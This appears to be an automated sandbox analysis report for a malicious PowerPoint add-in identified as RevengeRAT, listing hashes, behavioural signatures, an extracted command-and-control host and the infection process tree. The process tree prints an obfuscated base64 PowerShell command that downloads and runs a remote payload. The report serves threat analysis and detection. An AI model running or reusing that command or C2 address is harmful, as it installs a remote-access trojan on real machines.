Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-05-2023 13:50

General

  • Target

    nvoucher_das_reservas.ppam

  • Size

    44KB

  • MD5

    906084f891c354df688b9b1012673cb0

  • SHA1

    df3ac01679d444b6ae6cc81bf0f380cce79bd987

  • SHA256

    2f29c288b1c65341f982d8984a0650ad66765a3bc221bedcebbd2bc784a9da21

  • SHA512

    c8ab289935931708371d6ed05e95e26981ae338bafeadea4a272541575ace9216dbf569410e535c023727c0c92346b1ecc5d8c35c0a200462967641a8feb1701

  • SSDEEP

    768:VPYRy7GviozfDTAR/rRSROn3sYOWTS2+1jqBoVEmErcSeykOgUGM5d/ym4csz:VgRyCR7T2/FMOncYOWXvBoV3EgS8jUGN

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

m7.ddns.com.br:5222

Mutex

30c2ac3031a0

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\nvoucher_das_reservas.ppam" /ou ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4232
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADQANAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8AWQBlAEEASwBaAFAARABGAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBkAHMAaQBkAD0AdgBkAGcASQBTAHYAbAB3AC4ANgAyADkAYwBiAGQAZgA3ADUAOQAxAGYAOAA5ADIANwAyADMAYQA4AGUANgA0ADAANABlADcANAA3ADgAOQA0ACYAcwBiAHMAcgA9AGIAYgA5ADMAZgA0AGEANgA3AGIANQBlAGQAZAA3AGEANgAwADcANgBiAGQAYgBkADIAZgA1ADAAOABmAGIANABhAGQAZgAmAGIAaQBwAD0ATQBUAGcAMQBMAGoARQAxAE0AeQA0AHgATgB6AFkAdQBNAGoASQAmAGwAZwBmAHAAPQA0ADAADQAKACcAKQA7ACAADQAKAEkAdwBTAFcAWABwAHYAegB0AG4ARABYAHUARgBTAEYARQBlAE8AYQBSAFUATAB2AGQASQBlAFAARwB5AGkASQBiAGgAYQBYAHMATwBTAGsAYgBXAGIAeQBTAEUAYgB3AGMAWgBGAFkADQAKAA==""
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3376
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        3⤵
          PID:2228

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    Query Registry

    3
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3ixb1cyn.hwl.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2228-196-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2228-202-0x0000000005130000-0x0000000005140000-memory.dmp
      Filesize

      64KB

    • memory/2228-201-0x0000000005130000-0x0000000005140000-memory.dmp
      Filesize

      64KB

    • memory/2228-200-0x0000000005660000-0x0000000005C04000-memory.dmp
      Filesize

      5.6MB

    • memory/3376-154-0x0000023D08510000-0x0000023D08532000-memory.dmp
      Filesize

      136KB

    • memory/3376-191-0x0000023D209E0000-0x0000023D209F8000-memory.dmp
      Filesize

      96KB

    • memory/3376-193-0x0000023D209E0000-0x0000023D209F8000-memory.dmp
      Filesize

      96KB

    • memory/3376-184-0x0000023D209E0000-0x0000023D209F8000-memory.dmp
      Filesize

      96KB

    • memory/3376-197-0x0000023D20A00000-0x0000023D20A01000-memory.dmp
      Filesize

      4KB

    • memory/3376-171-0x0000023D207D0000-0x0000023D207E0000-memory.dmp
      Filesize

      64KB

    • memory/3376-172-0x0000023D207D0000-0x0000023D207E0000-memory.dmp
      Filesize

      64KB

    • memory/3376-173-0x0000023D207D0000-0x0000023D207E0000-memory.dmp
      Filesize

      64KB

    • memory/3376-195-0x0000023D209E0000-0x0000023D209F8000-memory.dmp
      Filesize

      96KB

    • memory/3376-189-0x0000023D209E0000-0x0000023D209F8000-memory.dmp
      Filesize

      96KB

    • memory/3376-187-0x0000023D209E0000-0x0000023D209F8000-memory.dmp
      Filesize

      96KB

    • memory/3376-185-0x0000023D209E0000-0x0000023D209F8000-memory.dmp
      Filesize

      96KB

    • memory/4232-151-0x000002288D150000-0x000002288D350000-memory.dmp
      Filesize

      2.0MB

    • memory/4232-183-0x00007FFD8CBB0000-0x00007FFD8CBC0000-memory.dmp
      Filesize

      64KB

    • memory/4232-182-0x00007FFD8CBB0000-0x00007FFD8CBC0000-memory.dmp
      Filesize

      64KB

    • memory/4232-181-0x00007FFD8CBB0000-0x00007FFD8CBC0000-memory.dmp
      Filesize

      64KB

    • memory/4232-180-0x00007FFD8CBB0000-0x00007FFD8CBC0000-memory.dmp
      Filesize

      64KB

    • memory/4232-133-0x00007FFD8CBB0000-0x00007FFD8CBC0000-memory.dmp
      Filesize

      64KB

    • memory/4232-139-0x00007FFD8A4F0000-0x00007FFD8A500000-memory.dmp
      Filesize

      64KB

    • memory/4232-138-0x00007FFD8A4F0000-0x00007FFD8A500000-memory.dmp
      Filesize

      64KB

    • memory/4232-136-0x00007FFD8CBB0000-0x00007FFD8CBC0000-memory.dmp
      Filesize

      64KB

    • memory/4232-137-0x00007FFD8CBB0000-0x00007FFD8CBC0000-memory.dmp
      Filesize

      64KB

    • memory/4232-135-0x00007FFD8CBB0000-0x00007FFD8CBC0000-memory.dmp
      Filesize

      64KB

    • memory/4232-134-0x00007FFD8CBB0000-0x00007FFD8CBC0000-memory.dmp
      Filesize

      64KB